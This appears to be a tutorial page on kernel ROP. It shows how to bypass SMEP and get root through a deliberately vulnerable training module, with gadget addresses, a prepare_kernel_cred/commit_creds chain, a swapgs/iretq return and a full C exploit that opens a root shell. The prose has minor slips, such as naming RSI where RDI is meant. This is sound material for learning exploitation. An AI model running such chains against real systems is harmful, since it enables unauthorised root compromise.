Kernel ROP - Privilege Escalation in Kernel Space Bypassing SMEP by ropping through the kernel
The previous approach failed, so let's try and escalate privileges using purely ROP.
Modifying the Payload
Calling prepare_kernel_cred()
First, we have to change the ropchain. Start off with finding some useful gadgets and calling prepare_kernel_cred(0)
:
Copy uint64_t pop_rdi = 0x ffffffff811e08ec ;
uint64_t swapgs = 0x ffffffff8129011e ;
uint64_t iretq_pop1 = 0x ffffffff81022e1f ;
uint64_t prepare_kernel_cred = 0x ffffffff81066fa0 ;
uint64_t commit_creds = 0x ffffffff81066e00 ;
int main () {
// [...]
// overflow
uint64_t payload[ 7 ];
int i = 6 ;
// prepare_kernel_cred(0)
payload[i ++ ] = pop_rdi;
payload[i ++ ] = 0 ;
payload[i ++ ] = prepare_kernel_cred;
// [...]
}
Now comes the trickiest part, which involves moving the result of RAX to RSI before calling commit_creds()
.
Moving RAX to RDI for commit_creds()
This requires stringing together a collection of gadgets (which took me an age to find). See if you can find them!
I ended up combining these four gadgets:
Copy 0x ffffffff810dcf72 : pop rdx; ret
0x ffffffff811ba595 : mov rcx , rax; test rdx , rdx; jne 0x 3ba58c ; ret;
0x ffffffff810a2e0d : mov rdx , rcx; ret;
0x ffffffff8126caee : mov rdi , rax; cmp rdi , rdx; jne 0x 46cae5 ; xor eax , eax; ret;
Gadget 1 is used to set RDX to 0
, so we bypass the jne
in Gadget 2 and hit ret
Gadget 2 and Gadget 3 move the returned cred struct from RAX to RDX
Gadget 4 moves it from RAX to RDI, then compares RDI to RDX. We need these to be equal to bypass the jne
and hit the ret
Copy uint64_t pop_rdx = 0x ffffffff810dcf72 ; // pop rdx; ret
uint64_t mov_rcx_rax = 0x ffffffff811ba595 ; // mov rcx, rax; test rdx, rdx; jne 0x3ba58c; ret;
uint64_t mov_rdx_rcx = 0x ffffffff810a2e0d ; // mov rdx, rcx; ret;
uint64_t mov_rdi_rax = 0x ffffffff8126caee ; // mov rdi, rax; cmp rdi, rdx; jne 0x46cae5; xor eax, eax; ret;
// [...]
// commit_creds()
payload[i ++ ] = pop_rdx;
payload[i ++ ] = 0 ;
payload[i ++ ] = mov_rcx_rax;
payload[i ++ ] = mov_rdx_rcx;
payload[i ++ ] = mov_rdi_rax;
payload[i ++ ] = commit_creds;
Returning to userland
Recall that we need swapgs
and then iretq
. Both can be found easily.
Copy 0xffffffff8129011e: swapgs; ret;
0xffffffff81022e1f: iretq; pop rbp; ret;
The pop rbp; ret
is not important as iretq
jumps away anyway.
To simulate the pushing of RIP, CS, SS, etc we just create the stack layout as it would expect - RIP|CS|RFLAGS|SP|SS
, the reverse of the order they are pushed in.
Copy // commit_creds()
payload[i ++ ] = swapgs;
payload[i ++ ] = iretq;
payload[i ++ ] = user_rip;
payload[i ++ ] = user_cs;
payload[i ++ ] = user_rflags;
payload[i ++ ] = user_rsp;
payload[i ++ ] = user_ss;
payload[i ++ ] = ( uint64_t ) escalate;
If we try this now, we successfully escalate privileges!
Final Exploit
Copy // gcc -static -o exploit exploit.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
void get_shell ( void ){
puts( "[*] Returned to userland" ) ;
system( "/bin/sh" ) ;
}
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags;
uint64_t user_rip = ( uint64_t ) get_shell;
void save_state (){
puts( "[*] Saving state" ) ;
__asm__ (
" .intel_syntax noprefix; "
" mov user_cs, cs; "
" mov user_ss, ss; "
" mov user_rsp, rsp; "
" pushf; "
" pop user_rflags; "
" .att_syntax; "
) ;
puts( "[+] Saved state" ) ;
}
void escalate () {
__asm__ (
" .intel_syntax noprefix; "
" xor rdi, rdi; "
" movabs rcx, 0xffffffff81066fa0; " // prepare_kernel_cred
" call rcx; "
" mov rdi, rax; "
" movabs rcx, 0xffffffff81066e00; " // commit_creds
" call rcx; "
" swapgs; "
" mov r15, user_ss; "
" push r15; "
" mov r15, user_rsp; "
" push r15; "
" mov r15, user_rflags; "
" push r15; "
" mov r15, user_cs; "
" push r15; "
" mov r15, user_rip; "
" push r15; "
" iretq; "
" .att_syntax; "
) ;
}
uint64_t pop_rdi = 0x ffffffff811e08ec ;
uint64_t swapgs = 0x ffffffff8129011e ;
uint64_t iretq = 0x ffffffff81022e1f ; // iretq; pop rbp; ret
uint64_t prepare_kernel_cred = 0x ffffffff81066fa0 ;
uint64_t commit_creds = 0x ffffffff81066e00 ;
uint64_t pop_rdx = 0x ffffffff810dcf72 ; // pop rdx; ret
uint64_t mov_rcx_rax = 0x ffffffff811ba595 ; // mov rcx, rax; test rdx, rdx; jne 0x3ba58c; ret;
uint64_t mov_rdx_rcx = 0x ffffffff810a2e0d ; // mov rdx, rcx; ret;
uint64_t mov_rdi_rax = 0x ffffffff8126caee ; // mov rdi, rax; cmp rdi, rdx; jne 0x46cae5; xor eax, eax; ret;
int main () {
save_state() ;
// communicate with the module
int fd = open( "/dev/kernel_rop" , O_RDWR) ;
printf( "FD: %d \n" , fd) ;
// overflow
uint64_t payload[ 25 ];
int i = 6 ;
// prepare_kernel_cred(0)
payload[i ++ ] = pop_rdi;
payload[i ++ ] = 0 ;
payload[i ++ ] = prepare_kernel_cred;
// commit_creds()
payload[i ++ ] = pop_rdx;
payload[i ++ ] = 0 ;
payload[i ++ ] = mov_rcx_rax;
payload[i ++ ] = mov_rdx_rcx;
payload[i ++ ] = mov_rdi_rax;
payload[i ++ ] = commit_creds;
// commit_creds()
payload[i ++ ] = swapgs;
payload[i ++ ] = iretq;
payload[i ++ ] = user_rip;
payload[i ++ ] = user_cs;
payload[i ++ ] = user_rflags;
payload[i ++ ] = user_rsp;
payload[i ++ ] = user_ss;
payload[i ++ ] = ( uint64_t ) escalate;
write(fd , payload , 0 ) ;
}
Last updated 4 months ago